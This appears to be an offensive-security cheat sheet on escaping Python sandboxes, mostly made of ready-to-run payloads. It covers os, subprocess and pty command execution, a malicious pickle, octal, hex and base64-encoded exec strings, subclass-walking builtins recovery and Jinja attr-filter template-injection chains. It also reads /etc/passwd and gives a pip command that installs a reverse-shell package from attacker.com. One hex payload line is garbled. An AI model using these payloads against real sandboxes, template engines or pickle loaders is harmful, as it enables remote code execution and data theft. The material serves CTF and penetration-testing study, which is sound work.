Bypass Python sandboxes

These are some tricks to bypass python sandbox protections and execute arbitrary commands.

Command Execution Libraries

The first thing you need to know is if you can directly execute code with some already imported library, or if you could import any of these libraries:

os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls") 
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")

#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *

#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')

#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')

Remember that the open and read functions can be useful to read files inside the python sandbox and to write some code that you could execute to bypass the sandbox.

Python2 input() function allows to execute python code before the program crashes.

Python try to load libraries from the current directory first (the following command will print where is python loading modules from): python3 -c 'import sys; print(sys.path)'

Bypass pickle sandbox with default installed python packages

Default packages

You can find a list of pre-installed packages here: Note that from a pickle you can make the python env import arbitrary libraries installed in the system. For example the following pickle, when loaded, is going to import the pip library to use it:

#Note that here we are importing the pip library so the pickle is created correctly
#however, the victimdoesn't even need to have the library installed to execute it
#the library is going to be loaded automatically

import pickle, os, base64, pip
class P(object):
    def __reduce__(self):
        return (pip.main,(["list"],))

print(base64.b64encode(pickle.dumps(P(), protocol=0)))

For more information about how does pickle works check this:

Pip package

If you have access to pip or to pip.main() you can install an arbitrary package and obtain a reverse shell calling:

pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])

You can download the package to create the reverse shell here. Please, note that before using it you should decompress it, change the setup.py, and put your IP for the reverse shell:

1KB

reverse.tar.gz

This package is called Reverse.However, it was specially crafted so when you exit the reverse shell the rest of the installation will fail, so you won't leave any extra python package installed on the server when you leave.

Eval-ing python code

This is really interesting if some characters are forbidden because you can use the hex/octal/B64 representation to bypass the restriction:

exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))

#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
exec("\x5f\x5f\x69\x6d\xIf youca70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))

Compiling Python to bypass Defenses

In a previous example you can see how to execute any python code using the compile function. This is really interesting because you can execute whole scripts with loops and everything in a one liner (and we could do the same using exec). Anyway, sometimes it could be useful to create a compiled object in a local machine and execute it in the CTF (for example because we don't have the compile function in the CTF).

For example, let's compile and execute manually a function that reads ./poc.py:

#Locally
def read():
    return open("./poc.py",'r').read()

read.__code__.co_code
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'

#On Remote
function_type = type(lambda: None)
code_type = type((lambda: None).__code__) #Get <type 'type'>
consts = (None, "./poc.py", 'r')
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
names = ('open','read')

# And execute it using eval/exec
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))

#You could also execute it directly
import __builtin__
mydict = {}
mydict['__builtins__'] = __builtin__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()

If you cannot access eval or exec you could create a proper function, but calling it directly is usually going to fail with: constructor not accessible in restricted mode. So you need a function not in the restricted environment call this function.

#Compile a regular print
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)

Decompiling Python

Using tools like one can decompile given compiled python code

Builtins

If you can access to the__builtins__ object you can import libraries (notice that you could also use here other string representation showed in last section):

__builtins__.__dict__['__import__']("os").system("ls")

No Builtins

When you don't have __builtins__ you are not going to be able to import anything nor even read or write files as all the global functions (like open, import, print...) aren't loaded. However, by default python import a lot of modules in memory. This modules may seem benign, but some of them are also importing dangerous functionalities inside of them that can be accessed to gain even arbitrary code execution.

In the following examples you can observe how to abuse some of this "benign" modules loaded to access dangerous functionalities inside of them.

Python2

#Try to reload __builtins__
reload(__builtins__)
import __builtin__

# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")

# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")

Python3

# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__'].__import__("os").system("ls")


# The os._wrap_close class is usually loaded. Its scope gives direct access to os package (as well as __builtins__)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")

Python2 and Python3

# Recover __builtins__ and make eveything easier
__builtins__=([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__)
__builtins__["__import__"]('os').system('ls')

Discovering loaded variables

Checking the globals and locals is a good way to know what you can access.

>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
>>> locals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}

Discovering more loaded methods for arbitrary execution

Here I want to explain how to easily discover more dangerous functionalities loaded and propose more reliable exploits.

Accessing subclasses with bypasses

One of the most sensitive parts of this technique is to be able to access the base subclasses. In the previous examples this was done using ''.__class__.__base__.__subclasses__() but there are other possible ways:

#You can access the base from mostly anywhere (in regular conditions)
[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
bool.__class__.__base__.__subclasses__()

#You can also access it without "__base__" or "__class__"
 ## You can apply the previous technique also here
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
"".__getattribute__("__class__").mro()[1].__subclasses__()
"".__getattribute__("__class__").__base__.__subclasses__()

#If attr is present you can access everything as string
## This is common in Djanjo (and Jinja) environments
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()

Finding dangerous libraries loaded

For example, knowing that with the library sys it's possible to import arbitrary libraries, you can search for all the modules loaded that have imported sys inside of them:

[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']

There are a lot, and we just need one to execute commands:

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")

We can do the same thing with other libraries that we know can be used to execute commands:

#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
#subprocess
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" in x.__init__.__globals__ ][0]["subprocess"].Popen("ls")
#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
#builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")

Moreover, we could even search which modules are loading malicious libraries:

bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip"]
for b in bad_libraries_names:
     vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ]
     print(f"{b}: {', '.join(vuln_libs)}")

"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands: 
subprocess: BaseDependency, Origin, Version, Package
pty: 
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp: 
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
"""

Moreover, if you think other libraries may be able to invoke functions to execute commands, we can also filter by functions names inside the possible libraries:

bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
for b in bad_libraries_names + bad_func_names:
     vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ]
     print(f"{b}: {', '.join(vuln_funcs)}")

"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands: 
subprocess: BaseDependency, Origin, Version, Package
pty: 
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp: 
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pip: 
system: _wrap_close, _wrap_close
getstatusoutput: CompletedProcess, Popen
getoutput: CompletedProcess, Popen
call: CompletedProcess, Popen
Popen: CompletedProcess, Popen
spawn: 
import_module: 
__import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec
load_source: NullImporter, _HackedGetData
execfile: 
execute: 
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""

Dissecting functions

In some CTFs you could be provided the name of a custom function where the flag resides and you need to see the internals of the function to extract it.

This is the function to inspect:

def get_flag(some_input):
    var1=1
    var2="secretcode"
    var3=["some","array"]
    if some_input == var2:
        return "THIS-IS-THE-FALG!"
    else:
        return "Nope"

dir

dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']

globals

__globals__ and func_globals(Same) Obtains the global environment. In the example you can see some imported modules, some global variables and their content declared:

get_flag.func_globals
get_flag.__globals__
{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}

#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__

__code__ and func_code: You can access this to obtain some internal data of the function

#Get the options
dir(get_flag.func_code)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
#Get internal varnames
get_flag.func_code.co_varnames
('some_input', 'var1', 'var2', 'var3')
#Get the value of the vars
get_flag.func_code.co_consts
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')
#Get bytecode
get_flag.func_code.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'

Disassembly a function

import dis
dis.dis(get_flag)
  2           0 LOAD_CONST               1 (1)
              3 STORE_FAST               1 (var1)

  3           6 LOAD_CONST               2 ('secretcode')
              9 STORE_FAST               2 (var2)

  4          12 LOAD_CONST               3 ('some')
             15 LOAD_CONST               4 ('array')
             18 BUILD_LIST               2
             21 STORE_FAST               3 (var3)

  5          24 LOAD_FAST                0 (some_input)
             27 LOAD_FAST                2 (var2)
             30 COMPARE_OP               2 (==)
             33 POP_JUMP_IF_FALSE       40

  6          36 LOAD_CONST               5 ('THIS-IS-THE-FALG!')
             39 RETURN_VALUE        

  8     >>   40 LOAD_CONST               6 ('Nope')
             43 RETURN_VALUE        
             44 LOAD_CONST               0 (None)
             47 RETURN_VALUE

Notice that if you cannot import dis in the python sandbox you can obtain the bytecode of the function (get_flag.func_code.co_code) and disassemble it locally. You won't see the content of the variables being loaded (LOAD_CONST) but you can guess them from (get_flag.func_code.co_consts) because LOAD_CONSTalso tells the offset of the variable being loaded.

dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
          0 LOAD_CONST          1 (1)
          3 STORE_FAST          1 (1)
          6 LOAD_CONST          2 (2)
          9 STORE_FAST          2 (2)
         12 LOAD_CONST          3 (3)
         15 LOAD_CONST          4 (4)
         18 BUILD_LIST          2
         21 STORE_FAST          3 (3)
         24 LOAD_FAST           0 (0)
         27 LOAD_FAST           2 (2)
         30 COMPARE_OP          2 (==)
         33 POP_JUMP_IF_FALSE    40
         36 LOAD_CONST          5 (5)
         39 RETURN_VALUE   
